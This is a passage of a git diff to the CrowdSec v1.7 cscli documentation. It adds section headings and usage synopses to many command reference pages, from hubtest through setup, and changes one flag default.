b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_create.md @@ -2,6 +2,8 @@ id: cscli_hubtest_create title: cscli hubtest create --- +## cscli hubtest create + create [test_name] ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_eval.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_eval.md index 209653fdc..7c5a535c7 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_eval.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_eval.md @@ -2,6 +2,8 @@ id: cscli_hubtest_eval title: cscli hubtest eval --- +## cscli hubtest eval + eval [test_name]... ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_explain.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_explain.md index 28a743368..d00865042 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_explain.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_explain.md @@ -2,6 +2,8 @@ id: cscli_hubtest_explain title: cscli hubtest explain --- +## cscli hubtest explain + explain [test_name] ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_info.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_info.md index cfbacca01..b2d8a4c69 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_info.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_info.md @@ -2,6 +2,8 @@ id: cscli_hubtest_info title: cscli hubtest info --- +## cscli hubtest info + info [test_name] ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_list.md index 2040483ba..27f38da93 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_list.md @@ -2,6 +2,8 @@ id: cscli_hubtest_list title: cscli hubtest list --- +## cscli hubtest list + list ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_run.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_run.md index 26e3370af..e23b64218 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_run.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_run.md @@ -2,6 +2,8 @@ id: cscli_hubtest_run title: cscli hubtest run --- +## cscli hubtest run + run [test_name] ``` @@ -15,7 +17,7 @@ cscli hubtest run [flags] --clean Clean runtime environment if test fail -h, --help help for run --host string Address to expose AppSec for hubtest (default "127.0.0.1:4241") - --max-jobs uint Max number of concurrent tests (does not apply to appsec) (default 16) + --max-jobs uint Max number of concurrent tests (does not apply to appsec) (default 14) --no-clean Don't clean runtime environment if test succeed --report-success Report successful tests too (implied with json output) --target string Target for AppSec Test (default "http://127.0.0.1:7822/") diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi.md index 2f1148221..6e042c55b 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi.md @@ -2,8 +2,14 @@ id: cscli_lapi title: cscli lapi --- +## cscli lapi + Manage interaction with Local API (LAPI) +``` +cscli lapi [action] [flags] +``` + ### Options ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context.md index a32e1eda2..ea92cf338 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context.md @@ -2,6 +2,8 @@ id: cscli_lapi_context title: cscli lapi context --- +## cscli lapi context + Manage context to send with alerts ### Options diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_add.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_add.md index a511e1492..df95ab0b0 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_add.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_add.md @@ -2,6 +2,8 @@ id: cscli_lapi_context_add title: cscli lapi context add --- +## cscli lapi context add + Add context to send with alerts. You must specify the output key with the expr value you want ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_delete.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_delete.md index 994645f77..3c726b204 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_delete.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_delete.md @@ -2,6 +2,9 @@ id: cscli_lapi_context_delete title: cscli lapi context delete --- +## cscli lapi context delete + + ``` cscli lapi context delete [flags] diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_detect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_detect.md index 08d84f3be..e0fcce3fb 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_detect.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_detect.md @@ -2,6 +2,8 @@ id: cscli_lapi_context_detect title: cscli lapi context detect --- +## cscli lapi context detect + Detect available fields from the installed parsers ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_status.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_status.md index 67e6394b0..d5bc2bdd1 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_status.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_status.md @@ -2,6 +2,8 @@ id: cscli_lapi_context_status title: cscli lapi context status --- +## cscli lapi context status + List context to send with alerts ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_register.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_register.md index 57c2577a6..59abdd3e8 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_register.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_register.md @@ -2,6 +2,8 @@ id: cscli_lapi_register title: cscli lapi register --- +## cscli lapi register + Register a machine to Local API (LAPI) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_status.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_status.md index dd2885d0d..fc1283d25 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_status.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_status.md @@ -2,6 +2,8 @@ id: cscli_lapi_status title: cscli lapi status --- +## cscli lapi status + Check authentication to Local API (LAPI) ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines.md index 8204aafc1..bba2d9ac1 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines.md @@ -2,6 +2,8 @@ id: cscli_machines title: cscli machines --- +## cscli machines + Manage local API machines [requires local API] ### Synopsis @@ -10,6 +12,10 @@ To list/add/delete/validate/prune machines. Note: This command requires database direct access, so is intended to be run on the local API machine. +``` +cscli machines [action] [flags] +``` + ### Examples ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_add.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_add.md index bbf97d881..46c9431ec 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_add.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_add.md @@ -2,6 +2,8 @@ id: cscli_machines_add title: cscli machines add --- +## cscli machines add + add a single machine to the database ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_delete.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_delete.md index 1a52060b8..4f7060daf 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_delete.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_delete.md @@ -2,6 +2,8 @@ id: cscli_machines_delete title: cscli machines delete --- +## cscli machines delete + delete machine(s) by name ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_inspect.md index b46ee3378..d3e556f3a 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_inspect.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_inspect.md @@ -2,6 +2,8 @@ id: cscli_machines_inspect title: cscli machines inspect --- +## cscli machines inspect + inspect a machine by name ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_list.md index dd61cc4ab..9590fd47a 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_list.md @@ -2,6 +2,8 @@ id: cscli_machines_list title: cscli machines list --- +## cscli machines list + list all machines in the database ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_prune.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_prune.md index 9f4bb42b1..e5004b86a 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_prune.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_prune.md @@ -2,6 +2,8 @@ id: cscli_machines_prune title: cscli machines prune --- +## cscli machines prune + prune multiple machines from the database ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_validate.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_validate.md index 14d8e0422..8f2890e78 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_validate.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_validate.md @@ -2,6 +2,8 @@ id: cscli_machines_validate title: cscli machines validate --- +## cscli machines validate + validate a machine to access the local API ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics.md index 453e383fc..ddfe87d61 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics.md @@ -2,6 +2,8 @@ id: cscli_metrics title: cscli metrics --- +## cscli metrics + Display crowdsec prometheus metrics. ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics_list.md index 225ea14b3..35aecb033 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics_list.md @@ -2,6 +2,8 @@ id: cscli_metrics_list title: cscli metrics list --- +## cscli metrics list + List available types of metrics. ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics_show.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics_show.md index 5217e8c06..481d1f387 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics_show.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics_show.md @@ -2,6 +2,8 @@ id: cscli_metrics_show title: cscli metrics show --- +## cscli metrics show + Display all or part of the available metrics. ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications.md index 4a7922bae..ec9985ff9 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications.md @@ -2,12 +2,18 @@ id: cscli_notifications title: cscli notifications --- +## cscli notifications + Helper for notification plugin configuration ### Synopsis To list/inspect/test notification template +``` +cscli notifications [action] [flags] +``` + ### Options ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_inspect.md index 2b83e9a38..32461c641 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_inspect.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_inspect.md @@ -2,6 +2,8 @@ id: cscli_notifications_inspect title: cscli notifications inspect --- +## cscli notifications inspect + Inspect notifications plugin ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_list.md index 1b839f75e..198fa3d20 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_list.md @@ -2,6 +2,8 @@ id: cscli_notifications_list title: cscli notifications list --- +## cscli notifications list + list notifications plugins ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_reinject.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_reinject.md index 312b4199a..bf52b3883 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_reinject.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_reinject.md @@ -2,6 +2,8 @@ id: cscli_notifications_reinject title: cscli notifications reinject --- +## cscli notifications reinject + reinject an alert into profiles to trigger notifications ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_test.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_test.md index eed1b7b43..b9c30e0cd 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_test.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_test.md @@ -2,6 +2,8 @@ id: cscli_notifications_test title: cscli notifications test --- +## cscli notifications test + send a generic test alert to notification plugin ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi.md index 1a02b7463..1e948838a 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi.md @@ -2,8 +2,14 @@ id: cscli_papi title: cscli papi --- +## cscli papi + Manage interaction with Polling API (PAPI) +``` +cscli papi [action] [flags] +``` + ### Options ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi_status.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi_status.md index f34da733c..d3f96fa66 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi_status.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi_status.md @@ -2,6 +2,8 @@ id: cscli_papi_status title: cscli papi status --- +## cscli papi status + Get status of the Polling API ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi_sync.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi_sync.md index d08f927bc..38d2b2bfa 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi_sync.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi_sync.md @@ -2,6 +2,8 @@ id: cscli_papi_sync title: cscli papi sync --- +## cscli papi sync + Sync with the Polling API, pulling all non-expired orders for the instance ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers.md index cb227d699..011794b15 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers.md @@ -2,8 +2,14 @@ id: cscli_parsers title: cscli parsers --- +## cscli parsers + Manage hub parsers +``` +cscli parsers [item]... [flags] +``` + ### Examples ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_inspect.md index 2003769a0..c18579a7b 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_inspect.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_inspect.md @@ -2,6 +2,8 @@ id: cscli_parsers_inspect title: cscli parsers inspect --- +## cscli parsers inspect + Inspect given parser(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_install.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_install.md index 1558e34fd..93e10fae7 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_install.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_install.md @@ -2,6 +2,8 @@ id: cscli_parsers_install title: cscli parsers install --- +## cscli parsers install + Install given parser(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_list.md index 7e21cbf2f..2cbf7f903 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_list.md @@ -2,6 +2,8 @@ id: cscli_parsers_list title: cscli parsers list --- +## cscli parsers list + List parser(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_remove.md index 45a8df8ba..3c57e83ed 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_remove.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_remove.md @@ -2,6 +2,8 @@ id: cscli_parsers_remove title: cscli parsers remove --- +## cscli parsers remove + Remove given parser(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_upgrade.md index cf5ba1ab6..2ea61a8ab 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_upgrade.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_upgrade.md @@ -2,6 +2,8 @@ id: cscli_parsers_upgrade title: cscli parsers upgrade --- +## cscli parsers upgrade + Upgrade given parser(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows.md index 29f8703fb..56e695dca 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows.md @@ -2,8 +2,14 @@ id: cscli_postoverflows title: cscli postoverflows --- +## cscli postoverflows + Manage hub postoverflows +``` +cscli postoverflows [item]... [flags] +``` + ### Examples ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_inspect.md index 904c483ae..1967a8fcc 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_inspect.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_inspect.md @@ -2,6 +2,8 @@ id: cscli_postoverflows_inspect title: cscli postoverflows inspect --- +## cscli postoverflows inspect + Inspect given postoverflow(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_install.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_install.md index 8fa2b64d7..2058dd5af 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_install.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_install.md @@ -2,6 +2,8 @@ id: cscli_postoverflows_install title: cscli postoverflows install --- +## cscli postoverflows install + Install given postoverflow(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_list.md index d1f7c23b2..ae6b10ba6 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_list.md @@ -2,6 +2,8 @@ id: cscli_postoverflows_list title: cscli postoverflows list --- +## cscli postoverflows list + List postoverflow(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_remove.md index 8483752f5..bf21a7db8 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_remove.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_remove.md @@ -2,6 +2,8 @@ id: cscli_postoverflows_remove title: cscli postoverflows remove --- +## cscli postoverflows remove + Remove given postoverflow(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_upgrade.md index 6e5777316..932b161a7 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_upgrade.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_upgrade.md @@ -2,6 +2,8 @@ id: cscli_postoverflows_upgrade title: cscli postoverflows upgrade --- +## cscli postoverflows upgrade + Upgrade given postoverflow(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios.md index fd43e80ad..969de64d8 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios.md @@ -2,8 +2,14 @@ id: cscli_scenarios title: cscli scenarios --- +## cscli scenarios + Manage hub scenarios +``` +cscli scenarios [item]... [flags] +``` + ### Examples ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_inspect.md index 2deaa7dd9..7d4e70af7 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_inspect.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_inspect.md @@ -2,6 +2,8 @@ id: cscli_scenarios_inspect title: cscli scenarios inspect --- +## cscli scenarios inspect + Inspect given scenario(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_install.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_install.md index bc34a42bc..20a6b0ef2 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_install.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_install.md @@ -2,6 +2,8 @@ id: cscli_scenarios_install title: cscli scenarios install --- +## cscli scenarios install + Install given scenario(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_list.md index be39d334b..2f3fb6793 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_list.md @@ -2,6 +2,8 @@ id: cscli_scenarios_list title: cscli scenarios list --- +## cscli scenarios list + List scenario(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_remove.md index 2d0d4be00..820186914 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_remove.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_remove.md @@ -2,6 +2,8 @@ id: cscli_scenarios_remove title: cscli scenarios remove --- +## cscli scenarios remove + Remove given scenario(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_upgrade.md index 59b6bf364..5a1b97623 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_upgrade.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_upgrade.md @@ -2,6 +2,8 @@ id: cscli_scenarios_upgrade title: cscli scenarios upgrade --- +## cscli scenarios upgrade + Upgrade given scenario(s) ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup.md index 3f93af6a8..3bf6ec91f 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup.md @@ -2,6 +2,8 @@ id: cscli_setup title: cscli setup --- +## cscli setup + Tools to configure crowdsec ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_detect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_detect.md index 7c13043d5..3ac2e0b6b 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_detect.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_detect.md @@ -2,6 +2,8 @@ id: cscli_setup_detect title: cscli setup detect --- +## cscli setup detect + Detect installed services and generate a setup file ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_install-acquisition.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_install-acquisition.md index 4e40e718a..8338f9665 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_install-acquisition.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_install-acquisition.md @@ -2,6 +2,8 @@ id: cscli_setup_install-acquisition title: cscli setup install-acquisition --- +## cscli setup install-acquisition + Generate acquisition configuration from a setup file ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_install-hub.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_install-hub.md index efb0b3b79..64e204ce9 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_install-hub.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_install-hub.md @@ -2,6 +2,8 @@ id: cscli_setup_install-hub title: cscli setup install-hub --- +## cscli setup install-hub + Install recommended hub items from a setup file ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_interactive.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_interactive.md index 8b68b8feb..652730308 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_interactive.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_interactive.md @@ -2,6 +2,8 @@ id: cscli_setup_interactive title: cscli setup interactive --- +## cscli setup interactive + Interactive setup ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_unattended.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_unattended.md index 048ea875b..99c7c7eb2 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_unattended.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_unattended.md @@ -2,6 +2,8 @@ id: cscli_setup_unattended title: cscli setup unattended --- +## cscli setup unattended + Unattended setup ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_validate.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_validate.md index d2e0b77d8..648afed86 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_validate.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_validate.md @@ -2,6 +2,8 @@ id: cscli_setup_validate title: cscli setup validate --- +## cscli 